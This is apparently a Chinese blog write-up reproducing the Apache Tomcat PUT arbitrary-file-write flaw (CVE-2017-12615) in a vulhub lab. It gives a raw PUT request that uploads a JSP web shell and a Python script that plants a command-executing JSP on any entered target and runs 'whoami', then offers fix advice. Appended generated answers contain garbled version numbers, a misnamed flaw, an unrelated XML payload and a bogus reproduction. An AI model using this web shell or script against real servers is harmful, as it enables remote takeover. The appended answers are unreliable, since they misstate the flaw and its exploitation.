Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

1 漏洞原理

  1. 在Apache Tomcat服务器中,PUT方法通常用于上传文件。攻击者可以通过发送PUT请求,将恶意文件上传到服务器。

  2. 当攻击者发送PUT请求时,Tomcat服务器会将请求中的数据写入指定的文件。如果攻击者能够控制文件路径,那么他们可以将恶意文件写入任意位置,从而实现任意文件写入。

2 漏洞影响

  1. 任意文件写入:攻击者可以通过构造恶意PUT请求,将恶意文件写入服务器的任意位置。这可能导致服务器被攻击者控制,或者敏感数据泄露。

  2. 远程代码执行:攻击者可以通过上传恶意脚本文件(如JSP文件)到服务器,然后通过访问该文件来执行恶意代码。这可能导致远程代码执行漏洞,进一步威胁服务器的安全。

  3. 信息泄露:攻击者可以通过写入恶意文件,访问服务器上的敏感信息,如配置文件、日志文件等。

3 环境搭建

进入vulhub目录
cd vulhub/tomcat/CVE-2017-12615
部署漏洞环境
docker compose build
docker compose up -d
查看端口
docker compose ps

访问 ,您将看到页面,表示环境正在成功运行。

4 漏洞复现步骤

1 抓包后,右键单机Send to Repeater

2 修改请求方式为PUT,文件名为1.jsp(名字任意),内容填充shell脚本。

PUT /1.jsp/ HTTP/1.1
Host: 192.168.135.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=1CCD15499524302645C18183B820C173
Upgrade-Insecure-Requests: 1
Content-Length: 302
​
<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

这里看到返回201,应该已经上传成功了。

3.使用浏览器访问exc.jsp可以任意命令执行

5 编写python脚本探测漏洞是否存在

#!/usr/bin/env python
​
import requests
import time
​
# 提示:本代码仅用于实验和学习目的,请谨慎使用。
print(" 注意:本代码仅用于实验和学习目的,请谨慎使用")
​
# 定义要上传的恶意文件名
payload_file = 'shell1.jsp/'
​
def cve_2017_12615():
    # 输入目标IP地址和端口
    url = input("请输入目标IP地址和端口(格式:http://172.30.230.107:8080/):")
    # 将payload_file添加到目标URL
    payload_url = url + payload_file
    print(payload_url)
    
    # 定义请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'
    }
​
    # 定义恶意脚本内容
    payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
                    "int a = -1;"
                    "byte[] b = new byte[2048];"
                    "while((a=in.read(b))!=-1){out.println(new String(b));}"
                    "%>")
    # 使用PUT请求将恶意脚本写入服务器
    response = requests.put(payload_url, data=payload_body, headers=headers)
    print(payload_url[:-1])
    print(response.status_code)
    # 等待一会
    time.sleep(3)
    # 定义测试负载
    test_payload = {
        "cmd":"whoami"
    }
    # 发送GET请求测试恶意脚本是否成功执行
    response2 = requests.get(payload_url[:-1], headers=headers,params=test_payload)
    print(response2.status_code)
    if response2.status_code == 200:
        print("漏洞存在!!")
    else:
        print("漏洞不存在!!")
​
# 调用cve_2017_12615()函数
cve_2017_12615()

结果

6 修复建议:

  1. 禁用PUT方法:在Apache Tomcat服务器的配置文件(如web.xml)中,禁用PUT方法,防止攻击者通过PUT请求上传文件。

  2. 限制文件上传路径:在应用程序中限制允许上传文件的路径,防止攻击者将恶意文件写入敏感位置。

  3. 输入验证和过滤:对用户输入进行严格的验证和过滤,防止恶意输入导致任意文件写入。

  4. 使用安全编码规范:遵循OWASP(开放Web应用程序安全项目)提供的安全编码规范,确保应用程序的安全性。

  • 13
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: cve-2017-12615漏洞是Apache Tomcat服务器中的一个远程代码执行漏洞。攻击者可以通过发送特定的HTTP请求来利用该漏洞,从而在服务器上执行任意代码。 要复现该漏洞,需要满足以下条件: 1. 目标服务器上运行的是Apache Tomcat 7..至7..79版本或8.5.至8.5.16版本。 2. 目标服务器上存在一个Web应用程序,其中包含一个可上传文件的Servlet。 3. 目标服务器上的Web应用程序未正确配置,允许攻击者上传包含恶意代码的JSP文件。 攻击者可以通过发送以下HTTP请求来利用该漏洞: PUT /test.jsp/ HTTP/1.1 Host: target.com Connection: close Content-Length: 100 <% out.println("Hello, world!"); %> 其中,test.jsp是攻击者上传的包含恶意代码的JSP文件。攻击者还需要在请求中包含一个特殊的Content-Type头,以触发漏洞。 如果攻击成功,攻击者就可以在目标服务器上执行任意代码,包括获取敏感信息、修改数据或者控制整个服务器。因此,建议管理员及时升级Apache Tomcat服务器,或者对Web应用程序进行正确的配置和安全审计。 ### 回答2: CVE-2017-12615漏洞是Apache Tomcat中的一个目录遍历漏洞,它使得攻击者能够通过发送特定的HTTP请求,获取Tomcat服务器上应用程序的敏感信息。这种漏洞的原因是Tomcat默认启用了WebDAV(Web Distributed Authoring and Versioning)服务,攻击者可以发送特定的HTTP PUT请求利用该漏洞向服务器发送恶意的WAR文件,并且可以通过使用Windows UNC路径造成RCE漏洞。 下面是CVE-2017-12615漏洞的复现步骤: 1.安装Tomcat服务器 2.根据Tomcat的版本,下载特定的利用工具(e.g.,ysoserial.jar 或者wmx.jar)。 3.使用ysoserial.jar或者wmx.jar(如图所示)创建一个恶意文件,并通过PUT请求将它上传到目标服务器。 4.在表单中输入如下内容: PUT /test.txt/WEB-INF/web.xml HTTP/1.1 Host: [Tomcat address]:[listening port] User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/xml Content-Length: 284 <?xml version="1.0"?> <!DOCTYPE x [ <!ELEMENT x ANY> <!ENTITY % p1 SYSTEM "file:///c:/windows/system32/test.bat"> <!ENTITY % p2 "<!ENTITY p3 '′%p1;%p1;′'>"> %p2;%p3; ]> 5.从服务器上获取war文件并进行反序列化,验证漏洞是否真实存在。 6.如果漏洞存在,则攻击者可以使用该漏洞获取Tomcat服务器上应用程序的敏感信息,并且可以在服务器上执行任意命令。 为了缓解该漏洞产生的风险,我们可以通过禁用WebDAV服务、运行Tomcat服务器以非特权用户身份、 对上传文件类型进行限制, 或者升级最新的Tomcat版本等方式来解决该漏洞。 ### 回答3: CVE-2017-12615 是 Apache Tomcat 中的一个远程代码执行漏洞。该漏洞存在于 Tomcat 7.0.0 到 7.0.79 版本和 Tomcat 8.5.0 到 8.5.16 版本中。攻击者可以利用该漏洞通过 HTTP 协议上传恶意 JSP 文件并执行任意命令。 为了演示该漏洞的复现,我们需要先搭建一个虚拟机环境来运行 Apache Tomcat。在这里,我们以 Ubuntu 16.04.6 LTS 作为漏洞环境的操作系统。 安装 Apache Tomcat 首先,我们需要安装 Apache Tomcat。在终端窗口中执行以下命令: sudo apt-get update sudo apt-get install tomcat7 安装完成后,我们可以通过访问以下 URL 来确认 Tomcat 是否成功安装: http://localhost:8080/ 如果可以看到 Tomcat 的欢迎页面,则说明安装成功。 复现漏洞 接下来,我们需要复现 CVE-2017-12615 漏洞。步骤如下: 1. 创建一个名为 test.jsp 的 JSP 文件,该文件包含以下代码: <% if ("POST".equals(request.getMethod())) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } in.close(); } %> 2. 通过以下命令创建一个名为 test.war 的 Web 应用程序文件: jar -cvf test.war test.jsp 3. 接下来,我们需要在 Tomcatwebapps 目录下创建一个名为 test 目录。接着,将上传的 test.war 文件复制到该目录下: sudo mkdir /var/lib/tomcat7/webapps/test sudo mv test.war /var/lib/tomcat7/webapps/test/ 4. 通过以下 URL 访问 test.jsp 文件,可以发现该页面中含有一个命令执行的输入框: http://localhost:8080/test/test.jsp 5. 在输入框中输入以下命令,即可执行该命令并返回结果: cmd=ls 我们可以看到,这个漏洞可以允许攻击者上传包含恶意代码的 JSP 文件并执行恶意命令,扰乱服务器系统。因此,我们需要对 Apache Tomcat 应用程序服务器进行及时修复。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值